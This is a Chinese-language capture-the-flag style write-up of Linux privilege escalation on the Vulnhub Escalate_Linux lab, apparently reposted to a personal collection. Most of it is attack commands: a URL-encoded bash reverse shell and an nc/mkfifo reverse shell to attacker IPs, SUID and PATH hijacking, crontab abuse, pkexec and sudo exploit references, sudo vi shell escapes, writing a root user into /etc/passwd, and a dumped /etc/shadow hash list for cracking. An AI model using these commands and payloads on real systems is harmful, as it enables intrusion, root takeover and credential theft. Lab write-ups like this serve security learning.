此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担! 前言在⽇常渗透测试过程中,通常会先拿到 webshell 权限,当权限过低时需要提升权限以进⼀步渗透。本篇将以 Vulnhub 的 Escalate_Linux 靶场为例,总结⼀下 linux 环境下常⻅的提权⽅法。 信息搜集探测发现主机 sudo netdiscovert -r 192.168.80.1/24 找到靶机 IP:192.168.80.53 (由于⽹络变动,靶机ip会变化) 端⼝扫描
nmap -sVC -p- 192.168.80.53 存在http web服务、139、445、smb、nfs 先看下http服务,访问为Apache 默认⻚⾯,利用dirsearch 扫下⽬录。 发现存在 shell.php 普通⽤户权限(由于是提权靶机 所以比较容易拿webshell ⼤佬莫怪) 反弹shell
利⽤ burpsuite 进⾏ url 编码 %2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%30%2e%37%33%2f%33%33%34%34%20%3e%26%31%27 反弹得到 shell
权限提升0x00 LinEnum脚本枚举 通过 which wget 发现存在wget,远程起一个web服务利用 wget 下载提权辅助脚本 LinEnum 到 /tmp 目录下。 0x01 SUID提权利用LinEnum脚本枚举或通过 find / -perm -u=s -type f 2>/dev/null 查找目标主机中s权限的文件。 cd /home/user3 ls -l ./shell 除了shell之外,还存在一个 root 权限且具有写入权限的 .script.sh 脚本 利用该脚本将bash写到 tmp下并给予s权限。
在user5下 也存在s权限的 script 文件,运行后功能 等同于 ls (等价于 C中的 system('ls')) 。 cd /tmp echo '/bin/bash' > ls chmod 777 ls echo $PATH export PATH=/tmp:$PATH cd /home/user5/ ./script (该方法在现实情况下很少会遇到,在靶场环境中可能会遇到) 0x03 Pkexec提权尝试执行pkexec命令 发现主机存在pkexec,考虑试下pkexec的提权漏洞
POC1:https://github.com/nikaiw/CVE-2021-4034 POC2: https://github.com/berdav/CVE-2021-4034 (注:该漏洞的修复可选择打补丁或者去除 pkexec 的 s权限:chmod 0755 /user/bin/pkexec) 0x04 Mysql弱口令信息泄露得到一个账号密码 ,cat /etc/passwd时发现存在mysql用户,使用该用户密码可以登录。 find / -user mysql ,查看 mysql 用户下所属文件
通过前面的 pkexec 的root权限查看该文件,得到user2~user8的登录密码 user{i}@12345 0x05 Corntab提权cat /etc/crontab ,发现在user4下存在root权限的定时任务。
中间有 ' 用 echo 不太好处理 ,需要利用管道命令 mkfifo 处理。 echo 'mkfifo /tmp/tmpipe; nc 192.168.80.60 8899 0</tmp/tmpipe | /bin/bash > /tmp/tmpipe 2>&1; rm /tmp/tmpipe' > autoscript.sh ./autoscript.sh 0x06 NFS挂载提权【未利用成功】前面nmap扫端口时候 发现有nfs服务,利用LinEnum收集也找到了nfs相关信息,也可以通过 cat /etc/exports 查看。
2.创建本地挂载目录,挂载共享目录。利用攻击机kali本地root权限创建 suid shell shell sudo mkdir -p /tmp/data sudo zmount -t nfs 192.168.80.56:/home/user5 /tmp/data sudo cp /bin/sh /tmp/data/shell sudo chmod u s /tmp/data/shell
0x07 john 爆破密码通过前面提权方式 cat /etc/shadow 获取相关用户shadow信息 (需要先高权限获取shadow文件在进行爆破,仅作为一种思路)。 root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7::: 0x08 sudo提权 1 — vi 提权sudo vi :!sh # 或者 sudo vi:set shell=/bin/sh:shell 0x09 sudo提权 2user2 下 user1 均具有所有权限,登录到user1,su root可得到root权限(注:在执行部分命令或使用su切换用户时,可能会提示需用terminal运行。可以通过python起一个交互式shell: python -c 'import pty;pty.spawn('/bin/bash')' 0x0a sudo堆缓冲区溢出提权sudo -V 查看sudo版本为 1.8.21p2 该版本存在sudo堆缓冲区溢出漏洞可用来提权。(漏洞影响版本:Sudo 1.8.2 - 1.8.31p2及Sudo 1.9.0 - 1.9.5p1) 通过前面nfs挂载,直接在kali下下载poc,拷贝到user5目录下make编译。(直接上传文件夹会被识别为html类型,推测为ubuntu18下libtinfo.so的问题)
0x0b root用户组写入用户提权cat /etc/group #查看用户组 用户user4/user7 可以修改 /etc/passwd 写入新建用户,在kali下利用openssl 生成加盐用户密码
小结本篇中部分方法可能过于理想只适用于靶场环境中,在实战中可能很少遇到,主要提供一些学习的思路。 1.内核漏洞提权根据内核版本找对应版本的漏洞进行提权。 # 查看系统发行版本 lsb_release -a # 查看内核版本 uname -a 2.SUID提权SUID可以让程序调用者以文件所有者身份运行该文件,当我们以普通用户去运行一个root用户所有的SUID文件,那么运行该文件后就可获取到root权限。 # 查找具有s权限的文件 find / -perm -u=s -type f 2>/dev/null 普通用户在使用sudo执行命令时,将会以root方式执行命令。在很多场景下通过配置sudoer文件可实现免密以root权限运行。通过 sudo -l 查找用户下高权限第三方应用,可借助GTFOBins进行提权。 4.计划任务提权系统中可能会有一些定时执行的任务,这些任务都由crontab管理,可通过cat /etc/crontab查看计划任务,检查是否存在可以利用的文件,其本质就是文件权限配置不当。 5. 环境变量提权当在目标机器查到具有SUID权限的编译文件,则可以通过以下方法获取管理员权限。该方法在实战中很难遇到 感觉只适合靶场的理想环境下。
cd /home/user5/ cp /bin/sh /tmp/ls echo $PATH export PATH=/tmp:$PATH ./script
6.第三方服务提权6.1 NFS提权当服务器中存在nfs共享,且开启了no_root_squash时(可通过cat /etc/exports查看),如果客户端使用的是root用户,那么对于共享目录来说就有root权限,以此提升权限。
6.2 数据库提权Mysql数据库提权有UDF提权、MOF提权、写入启动项等方式来提权,较为常见的则是UDF提权,具体步骤可分如下几步:
7. 可写文件提权7.1 passwd文件如果 /etc/passwd 文件可写入(cat /etc/group 查看root组是否可以写入) 可通过openssl生成盐密码 利用echo写入root权限用户到/etc/passwd中。 8.密码泄露 |
|
来自: 新用户13157769 > 《渗透测试》